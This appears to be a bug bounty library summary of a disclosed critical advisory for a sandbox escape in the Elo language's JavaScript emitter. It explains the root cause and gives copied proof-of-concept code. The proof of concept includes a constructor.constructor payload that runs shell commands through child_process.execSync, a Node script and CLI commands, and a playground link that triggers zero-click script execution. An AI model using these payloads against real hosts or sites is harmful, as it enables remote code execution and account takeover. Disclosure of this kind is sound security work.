# Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access

Elo's JS emitter passes unfiltered `.constructor` member access through to emitted code, letting a plain Elo string execute arbitrary JS in Node.js and the browser playground.

- Payout: Research
- Severity: critical
- Program: Elo
- Found by: ultra-supara
- Disclosed: 2026-11-03
- CVE: CVE-2026-44267
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-33r5-xmm8-v6x5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-33r5-xmm8-v6x5
- Tags: area:oss domain:oss impact:ato impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:rce vuln:sandbox-escape vuln:xss

**Target:** Elo JavaScript emitter (npm @enspirit/elo library, bin/elo CLI, elo-lang.org/try playground)
**Root cause:** The `member_access` transform handler permits any property name on any/object/array types without a denylist, and the JS emitter writes `${objectExpr}.${ir.property}` verbatim, so `.constructor.constructor` survives into emitted JavaScript as a live Function call.
**Steps:**
1. Craft Elo expression `({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')()`
2. Library: `defaultFormats.elo.parse(payload)` returns output of `id`
3. CLI: `node bin/elo payload.elo` or `node bin/elo -e "_" -d @payload.elo -f elo` executes `id`
4. Browser: open `https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1`; `?run=1` triggers `setTimeout(() => this.run(), 100)` and the 301 preserves `?code=`
**How found:** Code review of the transform/emitter/parser pipeline: noticed `member_access` in transform.ts:144-158 had no property-name denylist, the emitter interpolated `ir.property` raw, and the parser treated `constructor` as an ordinary identifier, so the `.constructor.constructor` chain clears type-checking and compiles to a live Function call.
**Exploitation:** Attacker supplies a plain Elo string to any emission path. The parser accepts `constructor` as an identifier, the transform passes it through, and the JS emitter writes it verbatim, producing `Function('...')()` in the host realm. On the playground a shared `?run=1` URL auto-executes after ~100ms for 0-click XSS/ATO; on CLI/CI hosts the `-f elo` data flag shells out to `child_process.execSync`.
**Escalation:** Same payload works across library, CLI, and browser surfaces; browser path yields session compromise on elo-lang.org, CLI path yields RCE on CI/DevOps hosts.
**Insight:** When auditing a 'safe' DSL that emits JavaScript, trace every identifier that reaches the emitter verbatim; JS meta-properties like `constructor`, `__proto__`, `prototype` are valid identifiers to most parsers and bypass type checks, so check whether the transform layer has any property-name denylist at all.

## Proof of concept (copied exactly from the original report)

**Elo payload using constructor.constructor chain**

```
({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')()
```

**Library API PoC script**

```
const { defaultFormats } = require('elo');

const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()";

console.log(defaultFormats.elo.parse(payload));
```

**CLI PoC commands**

```
node bin/elo payload.elo` and `node bin/elo -e "_" -d @payload.elo -f elo
```

